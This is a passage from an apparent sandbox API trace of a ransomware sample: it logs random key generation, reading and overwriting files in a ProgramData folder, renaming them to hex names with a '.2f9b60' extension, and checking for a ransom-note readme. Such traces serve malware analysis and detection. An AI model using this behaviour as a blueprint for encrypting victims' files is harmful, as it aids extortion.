nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x212ff868, lpOverlapped=0x0 | out: lpBuffer=0x212ff820*, lpNumberOfBytesRead=0x212ff868*=0x4, lpOverlapped=0x0) returned 1 [0087.496] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0087.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0087.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0087.496] NtQuerySystemTime (in: CurrentTime=0x212ff760 | out: CurrentTime=0x212ff760*=132462176933734000) returned 0x0 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x1357b8f [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x6503b790 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x70b60d [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x1dfc59fc [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x97a6e8d [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x26906092 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x5054adcb [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x71dc12ae [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x23a80af5 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0xd6cc9c0 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x6043739b [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x33c8a1db [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x72e02d6d [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x21d438ea [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x45c4d630 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x7d47a1ec [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x2ee6a1a9 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x6a3287ec [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x2301367e [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x15520e5d [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x66540083 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x2a4de702 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x7410783 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x482d08e1 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x14261ba2 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x2b2bf9b3 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x563e133f [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x6585c07c [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0xe59d042 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x7598e61c [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x1de28c64 [0087.497] RtlRandomEx (in: Seed=0x212ff750 | out: Seed=0x212ff750) returned 0x6b64920f [0087.504] ReadFile (in: hFile=0x970, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x16a, lpNumberOfBytesRead=0x212ff750, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x212ff750*=0x16a, lpOverlapped=0x0) returned 1 [0087.504] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.504] WriteFile (in: hFile=0x970, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x212ff754, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x212ff754*=0x16a, lpOverlapped=0x0) returned 1 [0087.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0087.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0087.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b440) returned 1 [0087.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0087.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97210 [0087.543] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.543] WriteFile (in: hFile=0x970, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x212ff870, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x212ff870*=0x126, lpOverlapped=0x0) returned 1 [0087.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0087.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0087.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3b0) returned 1 [0087.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9eeb0 [0087.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0087.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0087.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0087.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0087.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x69) returned 0x1b79e2f0 [0087.546] sprintf (in: _Dest=0x1b79e2f0, _Format="%c%c" | out: _Dest="e9") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e2f2, _Format="%c%c" | out: _Dest="77") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e2f4, _Format="%c%c" | out: _Dest="c6") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e2f6, _Format="%c%c" | out: _Dest="8e") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e2f8, _Format="%c%c" | out: _Dest="8c") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e2fa, _Format="%c%c" | out: _Dest="ef") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e2fc, _Format="%c%c" | out: _Dest="4c") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e2fe, _Format="%c%c" | out: _Dest="31") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e300, _Format="%c%c" | out: _Dest="e3") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e302, _Format="%c%c" | out: _Dest="4a") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e304, _Format="%c%c" | out: _Dest="fd") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e306, _Format="%c%c" | out: _Dest="9f") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e308, _Format="%c%c" | out: _Dest="06") returned 2 [0087.547] sprintf (in: _Dest=0x1b79e30a, _Format="%c%c" | out: _Dest="d1") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e30c, _Format="%c%c" | out: _Dest="5b") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e30e, _Format="%c%c" | out: _Dest="cd") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e310, _Format="%c%c" | out: _Dest="9d") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e312, _Format="%c%c" | out: _Dest="d5") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e314, _Format="%c%c" | out: _Dest="22") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e316, _Format="%c%c" | out: _Dest="35") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e318, _Format="%c%c" | out: _Dest="57") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e31a, _Format="%c%c" | out: _Dest="0f") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e31c, _Format="%c%c" | out: _Dest="de") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e31e, _Format="%c%c" | out: _Dest="72") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e320, _Format="%c%c" | out: _Dest="85") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e322, _Format="%c%c" | out: _Dest="88") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e324, _Format="%c%c" | out: _Dest="50") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e326, _Format="%c%c" | out: _Dest="05") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e328, _Format="%c%c" | out: _Dest="47") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e32a, _Format="%c%c" | out: _Dest="0a") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e32c, _Format="%c%c" | out: _Dest="fd") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e32e, _Format="%c%c" | out: _Dest="b6") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e330, _Format="%c%c" | out: _Dest="fd") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e332, _Format="%c%c" | out: _Dest="34") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e334, _Format="%c%c" | out: _Dest="5b") returned 2 [0087.548] sprintf (in: _Dest=0x1b79e336, _Format="%c%c" | out: _Dest="a1") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e338, _Format="%c%c" | out: _Dest="a2") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e33a, _Format="%c%c" | out: _Dest="23") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e33c, _Format="%c%c" | out: _Dest="3d") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e33e, _Format="%c%c" | out: _Dest="4b") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e340, _Format="%c%c" | out: _Dest="d5") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e342, _Format="%c%c" | out: _Dest="74") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e344, _Format="%c%c" | out: _Dest="6e") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e346, _Format="%c%c" | out: _Dest="df") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e348, _Format="%c%c" | out: _Dest="3f") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e34a, _Format="%c%c" | out: _Dest="4e") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e34c, _Format="%c%c" | out: _Dest="90") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e34e, _Format="%c%c" | out: _Dest="e1") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e350, _Format="%c%c" | out: _Dest="c2") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e352, _Format="%c%c" | out: _Dest="69") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e354, _Format="%c%c" | out: _Dest="c8") returned 2 [0087.549] sprintf (in: _Dest=0x1b79e356, _Format="%c%c" | out: _Dest="64") returned 2 [0087.549] RtlInitAnsiString (in: DestinationString=0x212ff8e8, SourceString="e977c68e8cef4c31e34afd9f06d15bcd9dd52235570fde7285885005470afdb6fd345ba1a2233d4bd5746edf3f4e90e1c269c864" | out: DestinationString="e977c68e8cef4c31e34afd9f06d15bcd9dd52235570fde7285885005470afdb6fd345ba1a2233d4bd5746edf3f4e90e1c269c864") [0087.549] RtlAnsiStringToUnicodeString (in: DestinationString=0x212ff8b8, SourceString="e977c68e8cef4c31e34afd9f06d15bcd9dd52235570fde7285885005470afdb6fd345ba1a2233d4bd5746edf3f4e90e1c269c864", AllocateDestinationString=1 | out: DestinationString="e977c68e8cef4c31e34afd9f06d15bcd9dd52235570fde7285885005470afdb6fd345ba1a2233d4bd5746edf3f4e90e1c269c864") returned 0x0 [0087.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776770 [0087.550] wcscat (in: _Dest=0x1b783f80, _Source="e977c68e8cef4c31e34afd9f06" | out: _Dest="C:\\ProgramData\\Microsoft Help\\e977c68e8cef4c31e34afd9f06") returned="C:\\ProgramData\\Microsoft Help\\e977c68e8cef4c31e34afd9f06" [0087.550] wcscat (in: _Dest=0x1b783f80, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\e977c68e8cef4c31e34afd9f06.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\e977c68e8cef4c31e34afd9f06.2f9b60" [0087.550] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\e977c68e8cef4c31e34afd9f06.2f9b60", NtPathName=0x212ff890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\e977c68e8cef4c31e34afd9f06.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a5a70 [0087.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 [0087.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.552] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0x212ff8f8, FileInformation=0x212ff908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x212ff8f8, FileInformation=0x212ff908) returned 0x0 [0087.552] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0x212ff8f8, FileInformation=0x212ff908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783f80) returned 1 [0087.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0087.553] FlushFileBuffers (hFile=0x970) returned 1 [0087.554] CloseHandle (hObject=0x970) returned 1 [0087.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2130 [0087.555] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.555] wcscat (in: _Dest=0x1b7c2130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.555] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 Thread: id = 228 os_tid = 0xcc0 [0087.583] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl")) returned 0x2022 [0087.583] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl", dwFileAttributes=0x20) returned 1 [0087.585] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0087.585] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x210df820 | out: lpFileSize=0x210df820*=8668) returned 1 [0087.585] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x21d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.585] ReadFile (in: hFile=0x96c, lpBuffer=0x210df7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x210df7e8, lpOverlapped=0x0 | out: lpBuffer=0x210df7a0*, lpNumberOfBytesRead=0x210df7e8*=0x4, lpOverlapped=0x0) returned 1 [0087.587] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b620 [0087.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0087.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b530 [0087.587] NtQuerySystemTime (in: CurrentTime=0x210df6e0 | out: CurrentTime=0x210df6e0*=132462176934514000) returned 0x0 [0087.587] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x68dd3a92 [0087.587] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x5be49e56 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x66acbc3 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x7b064fb [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x36c9e7c0 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x8a69e27 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x72edbaa6 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x6b64a7f1 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x8ed7f03 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x4d5869bc [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0xaa14325 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x6b5a078c [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x4f0dc48f [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x40e97b75 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x11b367de [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x3afd37 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x7162ec3 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x57850fe8 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x40e0c18 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x393697a5 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x736d1dc [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x6b48e007 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x32e8c561 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0xe0f2725 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x2cd3fdb2 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x16cde712 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x96e0943 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x44682679 [0087.588] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0xa3a3af3 [0087.589] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x24d8286 [0087.589] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0xc7dac0d [0087.589] RtlRandomEx (in: Seed=0x210df6d0 | out: Seed=0x210df6d0) returned 0x56674198 [0087.599] ReadFile (in: hFile=0x96c, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x21dc, lpNumberOfBytesRead=0x210df6d0, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x210df6d0*=0x21dc, lpOverlapped=0x0) returned 1 [0087.600] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.600] WriteFile (in: hFile=0x96c, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x21dc, lpNumberOfBytesWritten=0x210df6d4, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x210df6d4*=0x21dc, lpOverlapped=0x0) returned 1 [0087.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b620 [0087.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b530 [0087.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b530) returned 1 [0087.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0087.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0087.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82b530 [0087.607] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.607] WriteFile (in: hFile=0x96c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x210df7f0, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x210df7f0*=0x106, lpOverlapped=0x0) returned 1 [0087.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd972b0 [0087.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0087.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0087.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0087.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0087.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0087.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0087.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b590) returned 1 [0087.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0087.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0087.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9ee70 [0087.609] sprintf (in: _Dest=0x1cd9ee70, _Format="%c%c" | out: _Dest="a6") returned 2 [0087.609] sprintf (in: _Dest=0x1cd9ee72, _Format="%c%c" | out: _Dest="b9") returned 2 [0087.609] sprintf (in: _Dest=0x1cd9ee74, _Format="%c%c" | out: _Dest="55") returned 2 [0087.609] sprintf (in: _Dest=0x1cd9ee76, _Format="%c%c" | out: _Dest="99") returned 2 [0087.609] sprintf (in: _Dest=0x1cd9ee78, _Format="%c%c" | out: _Dest="73") returned 2 [0087.609] sprintf (in: _Dest=0x1cd9ee7a, _Format="%c%c" | out: _Dest="a5") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee7c, _Format="%c%c" | out: _Dest="c8") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee7e, _Format="%c%c" | out: _Dest="f2") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee80, _Format="%c%c" | out: _Dest="97") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee82, _Format="%c%c" | out: _Dest="7b") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee84, _Format="%c%c" | out: _Dest="38") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee86, _Format="%c%c" | out: _Dest="b4") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee88, _Format="%c%c" | out: _Dest="d3") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee8a, _Format="%c%c" | out: _Dest="b6") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee8c, _Format="%c%c" | out: _Dest="69") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee8e, _Format="%c%c" | out: _Dest="fa") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee90, _Format="%c%c" | out: _Dest="cf") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee92, _Format="%c%c" | out: _Dest="79") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee94, _Format="%c%c" | out: _Dest="61") returned 2 [0087.610] sprintf (in: _Dest=0x1cd9ee96, _Format="%c%c" | out: _Dest="f4") returned 2 [0087.610] RtlInitAnsiString (in: DestinationString=0x210df868, SourceString="a6b9559973a5c8f2977b38b4d3b669facf7961f4" | out: DestinationString="a6b9559973a5c8f2977b38b4d3b669facf7961f4") [0087.610] RtlAnsiStringToUnicodeString (in: DestinationString=0x210df838, SourceString="a6b9559973a5c8f2977b38b4d3b669facf7961f4", AllocateDestinationString=1 | out: DestinationString="a6b9559973a5c8f2977b38b4d3b669facf7961f4") returned 0x0 [0087.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86fd0 [0087.610] wcscat (in: _Dest=0x1b7c2130, _Source="a6b9559973" | out: _Dest="C:\\ProgramData\\Microsoft Help\\a6b9559973") returned="C:\\ProgramData\\Microsoft Help\\a6b9559973" [0087.610] wcscat (in: _Dest=0x1b7c2130, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\a6b9559973.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\a6b9559973.2f9b60" [0087.610] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\a6b9559973.2f9b60", NtPathName=0x210df810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\a6b9559973.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b783f80 [0087.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783f80) returned 1 [0087.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.612] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x210df878, FileInformation=0x210df888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x210df878, FileInformation=0x210df888) returned 0x0 [0087.613] 